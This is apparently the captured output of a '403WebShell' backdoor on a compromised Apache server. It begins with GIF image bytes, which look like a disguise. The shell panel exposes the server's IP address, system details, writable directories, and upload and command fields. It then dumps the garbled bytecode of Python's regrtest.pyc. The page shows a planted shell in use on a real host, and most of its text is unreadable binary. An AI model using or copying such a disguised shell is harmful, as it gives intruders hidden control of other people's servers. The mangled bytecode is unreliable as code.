GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus10 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python2.6/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/test/regrtest.pyc
Mc#@s>dZddkZddkZddkZddkZddkZddkZddkZddkZddk	Z	ddk
ZddkZe	i
ddedeidjoe	i
ddednxOdd	d
ddd
ddddf
D])Ze	i
ddefdddeqWeidjowyddkZWnej
onOXeiei\ZZeeeeddZeieieefnddklZddddddd d!d"f	Zd#d$Z e!e!d%e"e"e"e"e!e"e!e"d&e"e"e"e"d'Z#d(d)d*d+d,d-d.d/d0d1g
Z$d2d3d4gZ%e!e$e%d5Z&e!e"d6Z'e!e"d7Z(d8Z)d9Z*d:Z+d;Z,d<Z-d=Z.d>d?d@Z/hdAdB6dCdD6dEdF6dGdH6dGdI6dJdK6dLdM6dNd6dOdP6dQdR6dSdT6dUdV6dWdX6dYdZ6d[d\6d]d^6d_d`6Z0e0dZe0da<e0dZe0db<e0dZe0dc<e0dZe0dd<defdfYZ1e2dgjoei3i4ei3i5ei3i6ei7d%Z8e9ei3Z:xVe:d%joHe:dh8Z:ei3i4ei3i5ei3e:e8joei3e:=nqWe#ndS(isQRegression test.

This will find all modules whose name is "test_*" in the test
directory, and run them.  Various command line options provide
additional facilities.

Command line options:

-v: verbose    -- run tests in verbose mode with output to stdout
-w: verbose2   -- re-run failed tests in verbose mode
-q: quiet      -- don't print anything except if a test fails
-x: exclude    -- arguments are tests to *exclude*
-s: single     -- run only a single test (see below)
-S: slow       -- print the slowest 10 tests
-r: random     -- randomize test execution order
-f: fromfile   -- read names of tests to run from a file (see below)
-l: findleaks  -- if GC is available detect tests that leak memory
-u: use        -- specify which special resource intensive tests to run
-h: help       -- print this text and exit
-t: threshold  -- call gc.set_threshold(N)
-T: coverage   -- turn on code coverage using the trace module
-D: coverdir   -- Directory where coverage files are put
-N: nocoverdir -- Put coverage files alongside modules
-L: runleaks   -- run the leaks(1) command just before exit
-R: huntrleaks -- search for reference leaks (needs debug build, v. slow)
-M: memlimit   -- run very large memory-consuming tests

If non-option arguments are present, they are names for tests to run,
unless -x is given, in which case they are names for tests not to run.
If no test names are given, all tests are run.

-T turns on code coverage tracing with the trace module.

-D specifies the directory where coverage files are put.

-N Put coverage files alongside modules.

-s means to run only a single test and exit.  This is useful when
doing memory analysis on the Python interpreter (which tend to consume
too many resources to run the full regression test non-stop).  The
file /tmp/pynexttest is read to find the next test to run.  If this
file is missing, the first test_*.py file in testdir or on the command
line is used.  (actually tempfile.gettempdir() is used instead of
/tmp).

-f reads the names of tests from the file given as f's argument, one
or more test names per line.  Whitespace is ignored.  Blank lines and
lines beginning with '#' are ignored.  This is especially useful for
whittling down failures involving interactions among tests.

-L causes the leaks(1) command to be run just before exit if it exists.
leaks(1) is available on Mac OS X and presumably on some other
FreeBSD-derived systems.

-R runs each test several times and examines sys.gettotalrefcount() to
see if the test appears to be leaking references.  The argument should
be of the form stab:run:fname where 'stab' is the number of times the
test is run to let gettotalrefcount settle down, 'run' is the number
of times further it is run and 'fname' is the name of the file the
reports are written to.  These parameters all have defaults (5, 4 and
"reflog.txt" respectively), so the minimal invocation is '-R ::'.

-M runs tests that require an exorbitant amount of memory. These tests
typically try to ascertain containers keep working when containing more than
2 billion objects, which only works on 64-bit systems. There are also some
tests that try to exhaust the address space of the process, which only makes
sense on 32-bit systems with at least 2Gb of memory. The passed-in memlimit,
which is a string in the form of '2.5Gb', determines howmuch memory the
tests will limit themselves to (but they may go slightly over.) The number
shouldn't be more memory than the machine has (including swap memory). You
should also keep in mind that swap memory is generally much, much slower
than RAM, and setting memlimit to all available RAM or higher will heavily
tax the machine. On the other hand, it is no use running these tests with a
limit of less than 2.5Gb, and many require more than 20Gb. Tests that expect
to use more than memlimit memory will be skipped. The big-memory tests
generally run very, very long.

-u is used to specify which special resource intensive tests to run,
such as those requiring large file support or network connectivity.
The argument is a comma-separated list of words indicating the
resources to test.  Currently only the following are defined:

    all -       Enable all special resources.

    audio -     Tests that use the audio device.  (There are known
                cases of broken audio drivers that can crash Python or
                even the Linux kernel.)

    curses -    Tests that use curses and will modify the terminal's
                state and output modes.

    lib2to3 -   Run the tests for 2to3 (They take a while.)

    largefile - It is okay to run some test that may create huge
                files.  These tests can take a long time and may
                consume >2GB of disk space temporarily.

    network -   It is okay to run tests that use external network
                resource, e.g. testing SSL support for sockets.

    bsddb -     It is okay to run the bsddb testsuite, which takes
                a long time to complete.

    decimal -   Test the decimal module against a large suite that
                verifies compliance with standards.

    compiler -  Test the compiler package by compiling all the source
                in the standard library and test suite.  This takes
                a long time.  Enabling this resource also allows
                test_tokenize to verify round-trip lexing on every
                file in the test library.

    subprocess  Run all tests for the subprocess module.

    urlfetch -  It is okay to download files required on testing.

To enable all resources except one, use '-uall,-<resource>'.  For
example, to run all the tests except for the bsddb tests, give the
option '-uall,-bsddb'.
iNtignoreshex/oct constantss.*test.test_grammar$is<string>tctypestgziptzipfilettarfilesencodings.zlib_codecstest.test_zipimportstest.test_zlibstest.test_zipfilestest.test_codecsstest.string_teststmodules.*%s$tactiontcategorytdarwinii(ttest_supporttaudiotcursest	largefiletnetworktbsddbtdecimaltcompilert
subprocessturlfetchtcCs&tGH|o	|GHnti|dS(N(t__doc__tsystexit(tcodetmsg((s#/usr/lib/python2.6/test/regrtest.pytusages	itcoveragec5&Cs
titiy\titiddddddddd	d
ddd
dddddddg\}}Wn%tij
o}td|nX|	d0jo
g}	nx|D]\}}|dnjotdq|dojo|d7}q|dpjo
t	}q|dqjot	}d}q|drjo
t	}q|dsjo
t	}q|dtjo
t	}q|dujo
t	}q|dvjo
|}q|dwjo
t	}q|dxjo
t	}q|dyjo#d/d0k
}|it|q|dzjo
t	}
q|d{jot
iit
i|}q|d|jo
d0}q|d}jo|id9}
t|
d:jo|G|
GHtdd;nt|
ddjod<|
d<nt|
d|
d<t|
ddjod=|
d<nt|
d|
d<t|
ddjod>|
d<qyq|d~joti|q|djog}|idCD]}||iqv~}x|D]}|dDjot|	(qnt}|ddEjot	}|d}n|tjotddF|n|o"||	jo|	i|qNq||	jo|	i|qqWqtidGi|IJtidqW|o|otddHng}g}g}g}|o;yd/d0k
}Wntj
odIGHt}qXg}n|ozd/dJkl} t
ii| dK}!y8t|!dL}"|"i i!}#|#g}|"i"Wqwt#j
oqwXn|ojg}t|}"xG|"D]?}$|$i}%|%o&|%di$dMo|i%|%qqW|"i"n|ot&t'|}n|ot&t'|}nt(}&t)}'|oCx,|D]$}(|(|&jo|&i|(q8q8W||'d*g}n|p|pt*||&|'}|o|d }n|ot+i,|n|
o:d/d0k-}
|
i.dNti/ti0gdtdOt	})ng}*|t_1|	t_2ti3i4}+x|D]},|p|,GHtii5n|
o#|)i6dPdQt7dRt8nyt9|,|||*||
}-Wnt:j
o	HPnnX|-djo|i|,nJ|-djo|i|,n,|i|,|-dSjo|i|,n|oI|i;|i<o1dTGt|i<GdUGH|i%|i<|i<2qtnxEti3i4D]4}.|.|+jo!|.i$dVoti=|.qqWq0W|oO|oG|o#|ot|djodWGnt>t|dXGdYGHn|oC|*i?dZt	d[GHx+|*d\ D]\}/},d]|,|/fGHq=	Wn|o&t>t|dXGd^GHt@|n|o|ot>t|dXGd_GHt@|tA}0tiB}1|0iCoftD||0iEtD|}2|2o.t>t|2d`GdaG|1d9GHt@|2qU
dbG|1dcGHqY
ddGHdeG|1dcGHn|o|oydfGHxq|D]e},dg|,GHtii5y(t	t_1t9|,t	||*||
}-Wqs
t:j
o	HPqs
qs
Xqs
Wn|ot*||&|'}3xtFt|3D]z}4|d|3|4jo_|4t|3djot
iG|!n3t|!dh}"|"iH|3|4ddi|"i"PqqWt
iG|!n|
o,|)iI}|iJdjt	dkt	dl|n|ot
iKdmt
iLntit|djd0S(s[Execute a test suite.

    This also parses command-line options and modifies its behavior
    accordingly.

    tests -- a list of strings containing test names (optional)
    testdir -- the directory in which to look for tests (optional)

    Users other than the Python test suite will certainly want to
    specify testdir; if it's omitted, the directory containing the
    Python test suite is searched for.

    If the tests argument is omitted, the tests listed on the
    command-line will be used.  If that's empty, too, then all *.py
    files beginning with test_ will be used.

    The other default arguments (verbose, quiet, exclude,
    single, randomize, findleaks, use_resources, trace, coverdir, and
    print_slow) allow programmers calling main() directly to set the
    values that would normally be set by flags on the command line.
    ishvqxsSrf:lu:t:TD:NLR:wM:thelptverbosetquiettexcludetsingletslowtrandomtfromfilet	findleakssuse=s
threshold=ttraces	coverdir=t
nocoverdirtrunleaksshuntrleaks=tverbose2s	memlimit=is-hs--helpis-vs	--verboses-ws
--verbose2s-qs--quiets-xs	--excludes-ss--singles-Ss--slows-rs--randomizes-fs
--fromfiles-ls--findleakss-Ls
--runleakss-ts--thresholdiNs-Ts
--coverages-Ds
--coverdirs-Ns--nocoverdirs-Rs--huntrleakst:is(-R takes three colon-separated argumentsiis
reflog.txts-Ms
--memlimits-us--uset,tallt-sInvalid -u/--use option: sRNo handler for option {0}.  Please report this as a bug at http://bugs.python.org.s-s and -f don't go together!s%No GC available, disabling findleaks.(t
gettempdirt
pynexttesttrt#t
ignoredirstcounts9runtest(test, verbose, quiet,        test_times, testdir)tglobalstlocalsisWarning: test createdsuncollectable object(s).stest.tAllttestsOK.treverses10 slowest tests:i
s	%s: %.1fssfailed:sskipped:tskips
unexpected onsThose skips are all expected ont.s6Ask someone to teach regrtest.py about which tests aresexpected to get skipped ons'Re-running failed tests in verbose modes"Re-running test %r in verbose modetws
tshow_missingtsummarytcoverdirsleaks %d(s-hs--help(s-vs	--verbose(s-ws
--verbose2(s-qs--quiet(s-xs	--exclude(s-ss--single(s-Ss--slow(s-rs--randomize(s-fs
--fromfile(s-ls--findleaks(s-Ls
--runleaks(s-ts--threshold(s-Ts
--coverage(s-Ds
--coverdir(s-Ns--nocoverdir(s-Rs--huntrleaks(s-Ms
--memlimit(s-us--use(MR	trecord_original_stdoutRtstdouttgetopttargvterrorRtNonetTruetgct
set_thresholdtinttostpathtjointgetcwdtsplittlentset_memlimittlowertRESOURCE_NAMEStFalsetremovetappendtstderrtformatRtImportErrorttempfileR,topentreadtstriptclosetIOErrort
startswithtextendtmaptremovepytSTDTESTStNOTTESTSt	findtestsR!tshuffleR$tTracetprefixtexec_prefixRt
use_resourcestmodulestkeystflushtrunctxR2tvarstruntesttKeyboardInterrupttcollecttgarbagetunloadR1tsortt	printlistt_ExpectedSkipstplatformtisvalidtsettgetexpectedtrangetunlinktwritetresultst
write_resultstsystemtgetpid(5tteststtestdirRRRRt	randomizeR"R#RgR$R<R&t
huntrleaksR't
print_slowtoptstargsRtotaRDt_[1]txtuR.RQtgoodtbadtskippedtresource_deniedst
found_garbageR,tfilenametfptnexttlinetgutststdteststnotteststargttracert
test_timestsave_modulesR5tokRttimetetplattsurprisetallteststi((s#/usr/lib/python2.6/test/regrtest.pytmains	




























	

0




	
		


 		





#
		
 
	
	

	 ttest_grammarttest_opcodest	test_dictttest_builtinttest_exceptionst
test_typest
test_unittestttest_doctestt
test_doctest2t
test_py3kwarnR	ttest_future1ttest_future2cCs|p
t}nti|}g}xp|D]h}|d djoQ|dtidjo9|d }||jo||jo|i|qq0q0W|i||S(s-Return a list of all applicable test modules.ittest_itpy(tfindtestdirRGtlistdirtextsepRRRr(RRRtnamesRtnametmodname((s#/usr/lib/python2.6/test/regrtest.pyRbs
)

c
Cs2zt||||||SWdt||XdS(s.Run a single test.

    test -- the name of the test
    verbose -- if true, print more messages
    quiet -- if true, don't print 'skipped' messages (probably redundant)
    test_times -- a list of (time, test_name) pairs
    testdir -- test directory
    huntrleaks -- run multiple times to test for leaks; requires a debug
                  build; a triple corresponding to -R's three arguments
    Return:
        -2  test skipped because resource denied
        -1  test skipped for some other reason
         0  test failed
         1  test passed
    N(t
runtest_innertcleanup_test_droppings(R5RRRRR((s#/usr/lib/python2.6/test/regrtest.pyRmscCsti||p
t}n|o
d}n
ti}yti}z|o
|t_n|ido
|}nd|}t	i	}	t
|ttg}
t
|
|}t
|dd}|dj	o|n|ot||||nt	i	|	}
|i|
|fWd|t_XWn@tij
o/}|p|GdG|GHtiindSttifj
o/}|p|GdG|GHtiindStj
o
ntij
o(}dG|GdG|GHtiidStid	 \}}dG|Gd
Gt|dG|GHtii|o$tidtitiindSX|p|od
S|i}|pd
SdG|GdGHddGH|GHddGHtiidSdS(Nstest.t	test_mains
skipped --iiR5s	failed --iis
crashed --R(tfileisproduced unexpected output:t*iF(R	RqRRBt	cStringIOtStringIORR>R\Rt
__import__R2R3tgetattrtdash_RRRtResourceDeniedRjRUtTestSkippedRnt
TestFailedtexc_infotstrt	tracebackt	print_exctgetvalue(R5RRRRRtcapture_stdouttsave_stdouttabstestt
start_timetthe_packaget
the_modulet
indirect_testt	test_timeRttypetvaluetoutput((s#/usr/lib/python2.6/test/regrtest.pyRsx


	








		
c	Csddk}xtidfD]}tii|pqntii|od|i}}n8tii|odti	}}nt
d||od|||fGHny||Wqtj
o&}ti
d||||fIJqXqWdS(Nitdb_homet	directoryRs8os.path says %r exists but is neither directory nor files%r left behind %s %rs3%r left behind %s %r and it couldn't be removed: %s(tshutilR	tTESTFNRGRHtexiststisdirtrmtreetisfileRztSystemErrort	ExceptionRRS(ttestnameRRRtkindtnukerR((s#/usr/lib/python2.6/test/regrtest.pyRcs&	

cszddk}ddk}ddk}ttdptdnti}|ii	}ti
i	}	h}
||f}xg}|D]&}
|
iD]}|t|
|qq~D]N}t|dpqnx.|i
|gD]}|ii	|
|<qWqWofd}nfd}g}|\}}}||}tidI|IdIJtid	|d
d| IJt|||	|
xvt|D]h}ti}|tiidt|||	|
||jo|iti|d
qqWtiJt|oMd||t|f}ti|IJt|d}||IJ|indS(Nitgettotalrefcounts9Tracking reference leaks requires a debug build of Pythont
_abc_registrycsdS(N(((R(s#/usr/lib/python2.6/test/regrtest.pytrun_the_testscstidS(N(timptreload((R(s#/usr/lib/python2.6/test/regrtest.pyRst	beginningtrepetitionst
1234567890i
iR8is%s leaked %s references, sum=%sR(tcopy_regt_abcolltiothasattrRRtwarningstfilterstdispatch_tabletcopytpath_importer_cachet__all__Rt__subclasses__RRStdash_R_cleanupRyRR{RRtanytsumRWRZ(RR5RRRRRtfstpstpictabcsRhRtmodRtabctobjRtdeltastnwarmuptntrackedtfnametrepcountRtrcRtrefrep((RRs#/usr/lib/python2.6/test/regrtest.pyRsN$
;


#


cCsddk}ddk}ddk}ddk}tiddt}ddk}	ddk}
ddk	}ddk
}ddk}
ddk}ddk
}ddkl}x1tiiD] }t|do
|`qqW|ti(|ii|ii|tiitii|tixC|iD]5\}}|i|_|ii|i iq8W|it!i"|i#i|	i$|
i%|i&d|i(|i)|i*|i+i|i,d|
_-|i.dS(Nitdircachet
deprecated(t
_path_createdt__warningregistry__(/RDRt	_strptimet	linecacheR	t
import_moduleRCturlparseturllibturllib2t	mimetypestdoctesttstructtfilecmptdistutils.dir_utilRRRhtvaluesRR	RRRtcleartupdateRt_clear_type_cachetitemsRRt
_abc_cachet_abc_negative_cachetretpurget_regex_cachetclear_cachet
urlcleanuptinstall_openerRBtresett
clearcachet_default_mime_typest_cachet_clearcachetmasterRo(RRRRRDRR
RRR
RRRRRRRRRtregistry((s#/usr/lib/python2.6/test/regrtest.pyRsD<
















	cCsDtdjotid}nt}tii|pti}|S(Nt__main__i(t__name__RR@t__file__RGRHtdirnametcurdir(RR((s#/usr/lib/python2.6/test/regrtest.pyRs

cCs)|itido|d }n|S(NRi(tendswithRGR(R((s#/usr/lib/python2.6/test/regrtest.pyR_scCs.|djod||fSd||fSdS(Nis%d %ss%d %ss((tntword((s#/usr/lib/python2.6/test/regrtest.pyR1s
iFicCsQddkl}d|}|didt|D|d|d|GHdS(sPrint the elements of iterable x to stdout.

    Optional arg width (default 70) is the maximum line length.
    Optional arg indent (default 4) is the number of blanks with which to
    begin each line.
    i(tfillt cssx|]}t|VqWdS(N(R(t.0telt((s#/usr/lib/python2.6/test/regrtest.pys	<genexpr>s	tinitial_indenttsubsequent_indentN(ttextwrapR1RItsorted(RtwidthtindentR1tblanks((s#/usr/lib/python2.6/test/regrtest.pyRss
%sZ
        test__locale
        test_bsddb185
        test_bsddb3
        test_commands
        test_crypt
        test_curses
        test_dbm
        test_dl
        test_fcntl
        test_fork1
        test_epoll
        test_gdbm
        test_grp
        test_ioctl
        test_largefile
        test_kqueue
        test_mhlib
        test_openpty
        test_ossaudiodev
        test_pipes
        test_poll
        test_posix
        test_pty
        test_pwd
        test_resource
        test_signal
        test_threadsignals
        test_timing
        test_wait3
        test_wait4
        twin32s
        test_bsddb185
        test_curses
        test_dl
        test_largefile
        test_kqueue
        test_ossaudiodev
        tlinux2sz
        test_atexit
        test_bsddb
        test_bsddb185
        test_bsddb3
        test_bz2
        test_commands
        test_crypt
        test_curses
        test_dbm
        test_dl
        test_fcntl
        test_fork1
        test_epoll
        test_grp
        test_ioctl
        test_largefile
        test_locale
        test_kqueue
        test_mmap
        test_openpty
        test_ossaudiodev
        test_poll
        test_popen
        test_popen2
        test_posix
        test_pty
        test_pwd
        test_resource
        test_signal
        test_sundry
        test_tarfile
        test_timing
        tmacs
        test_bsddb
        test_bsddb185
        test_dl
        test_epoll
        test_largefile
        test_kqueue
        test_minidom
        test_openpty
        test_pyexpat
        test_sax
        test_sundry
        t	unixware7t	openunix8s
        test_asynchat
        test_bsddb
        test_bsddb185
        test_dl
        test_fork1
        test_epoll
        test_gettext
        test_largefile
        test_locale
        test_kqueue
        test_minidom
        test_openpty
        test_pyexpat
        test_queue
        test_sax
        test_sundry
        test_thread
        test_threaded_import
        test_threadedtempfile
        test_threading
        tsco_sv3se
        test_asynchat
        test_atexit
        test_bsddb
        test_bsddb185
        test_bsddb3
        test_commands
        test_crypt
        test_dbm
        test_dl
        test_fcntl
        test_fork1
        test_epoll
        test_gdbm
        test_grp
        test_largefile
        test_locale
        test_kqueue
        test_mmap
        test_openpty
        test_poll
        test_popen2
        test_pty
        test_pwd
        test_strop
        test_sundry
        test_thread
        test_threaded_import
        test_threadedtempfile
        test_threading
        test_timing
        triscoss
        test__locale
        test_bsddb
        test_bsddb3
        test_curses
        test_epoll
        test_gdbm
        test_largefile
        test_locale
        test_kqueue
        test_minidom
        test_ossaudiodev
        test_poll
        s
        test_bsddb
        test_bsddb185
        test_curses
        test_dbm
        test_epoll
        test_kqueue
        test_gdbm
        test_gzip
        test_openpty
        test_zipfile
        test_zlib
        tsunos5sC
        test_bsddb
        test_bsddb185
        test_curses
        test_dl
        test_epoll
        test_gdbm
        test_gzip
        test_largefile
        test_locale
        test_kqueue
        test_minidom
        test_openpty
        test_pyexpat
        test_sax
        test_zipfile
        test_zlib
        shp-ux11s
        test_bsddb185
        test_curses
        test_dl
        test_gdbm
        test_epoll
        test_largefile
        test_locale
        test_kqueue
        test_mhlib
        test_mmap
        test_poll
        test_popen2
        test_resource
        tatheoss
        test_bsddb185
        test_bsddb3
        test_curses
        test_dbm
        test_epoll
        test_ioctl
        test_kqueue
        test_largefile
        test_locale
        test_ossaudiodev
        test_socketserver
        tcygwinsN
        test_audioop
        test_bsddb185
        test_bsddb3
        test_commands
        test_curses
        test_dl
        test_epoll
        test_kqueue
        test_largefile
        test_mhlib
        test_mmap
        test_openpty
        test_ossaudiodev
        test_pty
        test_resource
        test_signal
        tos2emxs3
        test_bsddb
        test_bsddb3
        test_epoll
        test_gdbm
        test_locale
        test_ossaudiodev
        test_pep277
        test_pty
        test_socket_ssl
        test_socketserver
        test_tcl
        test_timeout
        test_urllibnet
        test_multiprocessing
        tfreebsd4s
        test_bsddb
        test_bsddb185
        test_bsddb3
        test_bz2
        test_dl
        test_epoll
        test_gdbm
        test_gzip
        test_kqueue
        test_ossaudiodev
        test_tcl
        test_zipimport
        test_zlib
        taix5s
        test_bsddb
        test_bsddb3
        test_ctypes
        test_dl
        test_epoll
        test_gdbm
        test_locale
        test_normalization
        test_ossaudiodev
        test_pep277
        test_tcl
        test_multiprocessing
        topenbsd3s
        test_bsddb
        test_bsddb185
        test_bsddb3
        test_ctypes
        test_curses
        test_dl
        test_epoll
        test_gdbm
        test_locale
        test_ossaudiodev
        test_pep277
        test_tcl
        test_multiprocessing
        tnetbsd3tfreebsd5tfreebsd6tfreebsd7tfreebsd8RtcBs#eZdZdZdZRS(c	Csddk}ddkl}t|_titjoPtti}t|i	|_
|i
id|ii
p|i
idnyddkl}Wntj
on X|io|i
idn|io|i
idntidjo|i
id	ntid%jo=dd
ddddg}xR|D]}|i
i|qAWn1tdiddjo|i
id
ntidjo:dddddg}x"|D]}|i
i|qWntidjo=d	ddddd g}x"|D]}|i
i|qWntid!jo$|i
id"|i
id#ntip|i
id$nt|_ndS(&Ni(ttest_timeoutttest_linuxaudiodevttest_pep277(ttest_socket_sslRRROlttest_imageopR>Rt
test_macosttest_macostoolsttest_aepackt
test_plistlibttest_scriptpackagesttest_applesingleusunicode-internaliR<ttest_unicode_filettest_winregt
test_winsoundttest_startfilettest_sqlitetirixttest_alttest_cdttest_clttest_glttest_imgfileRCttest_sunaudiodevttest_nisR(smacsdarwin(tos.pathR5RORPtvalidRRut
_expectationsRwRKtexpectedtaddRHtsupports_unicode_filenamesRRRUt
skip_expectedtmaxintRLtencodetpy3kwarningRC(	tselfRGROtsRRtMAC_ONLYR7tWIN_ONLYt	IRIX_ONLY((s#/usr/lib/python2.6/test/regrtest.pyt__init__]s^	



			
cCs|iS(s@Return true iff _ExpectedSkips knows about the current platform.(Rh(Rq((s#/usr/lib/python2.6/test/regrtest.pyRvscCs|ipt|iS(snReturn set of test names we expect to skip on current platform.

        self.isvalid() must be true.
        (RvtAssertionErrorRj(Rq((s#/usr/lib/python2.6/test/regrtest.pyRxs(R*t
__module__RvRvRx(((s#/usr/lib/python2.6/test/regrtest.pyRt\s	?	R)i(;RRR?RGR!RRRRRtencodings.asciit	encodingsRtfilterwarningst
FutureWarningRnRt
ImportWarningRutresourceRUt	getrlimittRLIMIT_STACKtsoftthardtmintmaxtnewsoftt	setrlimitR5R	RORRBRPRR`RaRbRmRRRRRR_R1RsRiRtR*RHtabspathtnormpathR,R@tmydirRLR(((s#/usr/lib/python2.6/test/regrtest.pyt<module>zs	
#		H		1	.			!	#!
M
1

,

Youez - 2016 - github.com/yon3zu
LinuXploit